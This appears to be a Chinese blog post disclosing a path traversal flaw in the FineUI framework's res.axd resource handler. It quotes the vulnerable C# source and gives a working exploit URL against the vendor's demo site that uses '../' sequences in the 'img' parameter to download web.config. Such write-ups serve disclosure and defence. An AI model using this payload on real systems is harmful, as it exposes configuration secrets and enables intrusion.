注:屏蔽本漏洞的紧急通知:http://fineui.com/bbs/forum.php?mod=viewthread&tid=7863
本人小学文化,文采不好,写的不好请各位多多包含,
最近笔者喜欢研究一些代码安全方面的问题,前些日子研究了下力软的框架,发现代码安全方面做的还是不足的,今天偶尔的机会接触了下fineui,从最开始的注入开始,都没有什么突破,
最好就想到列别的排序,从列别排序注入,弄了好久,发现一直没注入成功也没有报错,我就很是奇怪,然后看了下fineui的开源版,看了代码,发现原来他是判断的 ,不是拼接的,难怪注入失败,
本来以为没什么办法了,然后查看页面源码,发现一个引用引起了我的注意:
这个地址,于是去看了下他的源码
using System; using System.Collections.Generic; using System.Text; using System.Web; using System.Reflection; using System.IO; using System.Drawing.Imaging;namespace FineUI {/// <summary>/// 资源处理程序/// </summary>public class ResourceHandler : IHttpHandler{/// <summary>/// 处理资源的请求/// </summary>/// <param name="context">Http请求上下文</param>public void ProcessRequest(HttpContext context){string type = String.Empty;string typeValue = String.Empty;string extjsBasePath = GlobalConfig.GetExtjsBasePath();//resName = "FineUI.";if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["icon"])){type = "icon";}//else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["js"]))//{// type = "js";// //resName += "js." + typeValue;//}//else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["lang"]))//{// type = "lang";// //resName += "js.lang." + typeValue;//}else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["theme"])){// res.axd?theme=default.grid.refresh.giftype = "theme";//resName += "res.theme." + typeValue; }//else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["css"]))//{// type = "css";// //resName += "res.css." + typeValue;//}else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["img"])){type = "img";//resName += "res.img." + typeValue; }else{context.Response.Write("Not supported!");return;}//byte[] binary;switch (type){case "icon":if (!typeValue.EndsWith(".png") && !typeValue.EndsWith(".gif")){typeValue = IconHelper.GetName((Icon)Enum.Parse(typeof(Icon), typeValue));}//resName += "res.icon." + typeValue;string serverPath = String.Format("{0}/{1}", GlobalConfig.GetIconBasePath(), typeValue);context.Response.WriteFile(context.Server.MapPath(serverPath));context.Response.ContentType = "image/" + GetImageFormat(typeValue);break;//case "js":// context.Response.Write(ResourceHelper.GetResourceContent(resName));// context.Response.ContentType = "text/javascript";//case "lang":// context.Response.Write(ResourceHelper.GetResourceContent(resName));// context.Response.ContentType = "text/javascript";// break;//case "css":// context.Response.Write(ResourceHelper.GetResourceContent(resName));// context.Response.ContentType = "text/css";// break;case "theme":string themePath = "";string themeImageFormat = "";int lastDotIndex = typeValue.LastIndexOf(".");if (lastDotIndex >= 0){themePath = typeValue.Substring(0, lastDotIndex).Replace('.', '/');themeImageFormat = typeValue.Substring(lastDotIndex + 1);}context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}.{2}", extjsBasePath, themePath, themeImageFormat)));context.Response.ContentType = "image/" + GetImageFormat(typeValue);break;case "img"://binary = ResourceHelper.GetResourceContentAsBinary(resName);//context.Response.OutputStream.Write(binary, 0, binary.Length);//context.Response.ContentType = "image/" + GetImageFormat(resName); context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));context.Response.ContentType = "image/" + GetImageFormat(typeValue);break;}// 缓存一年,只能通过改变 URL 来强制更新缓存context.Response.Cache.SetExpires(DateTime.Now.AddYears(1));context.Response.Cache.SetCacheability(HttpCacheability.Public);}//private void RenderImage(HttpContext context, string resName)//{// Assembly assembly = Assembly.GetExecutingAssembly();// using (Stream stream = assembly.GetManifestResourceStream(resName))// {// using (System.Drawing.Image image = System.Drawing.Image.FromStream(stream))// {// // PNG输出时出现“GDI+ 中发生一般性错误”// using (MemoryStream ms = new MemoryStream())// {// image.Save(ms, image.RawFormat);// ms.WriteTo(context.Response.OutputStream);// context.Response.ContentType = "image/" + GetImageFormat(image.RawFormat);// }// }// }//}private string GetImageFormat(string imageName){int lastDotIndex = imageName.LastIndexOf(".");if (lastDotIndex >= 0){return imageName.Substring(lastDotIndex + 1);}return "png";}private string GetImageFormat(ImageFormat format){if (format == ImageFormat.Bmp){return "bmp";}else if (format == ImageFormat.Gif){return "gif";}else if (format == ImageFormat.Jpeg){return "jpeg";}else if (format == ImageFormat.Png){return "png";}else if (format == ImageFormat.Tiff){return "tiff";}else if (format == ImageFormat.Icon){return "icon";}return "gif";}/// <summary>/// 只要请求的 URL 相同,则请求可以重用/// </summary>public bool IsReusable{get{return true;}}} }
看了下,高兴啊。。太好了,不知道你们看出问题来了没有,
问题代码就在
case "img"://binary = ResourceHelper.GetResourceContentAsBinary(resName);//context.Response.OutputStream.Write(binary, 0, binary.Length);//context.Response.ContentType = "image/" + GetImageFormat(resName); context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));context.Response.ContentType = "image/" + GetImageFormat(typeValue);break;
大家都应该知道 我们引用js或者css的时候经常会有../ 这样的路径,其实很简单,就是上级目录,
我们就利用这个../ 把作者写的/res/images/给去掉 也就是变成路径
/res/images/../../web.config
就这样我们就可以拿到web.config了,然后拼成完整的url:http://fineui.com/demo/res.axd?img=../../../../appboxpro/web.config&t=icon 浏览器输入
ok web.config就这样被拿下来了,,,当然,web.config都拿下了,其它也就都没什么可说的了,
今天就先到这吧。。。还得写文档,明天演示项目,注定又是一个无眠夜。。。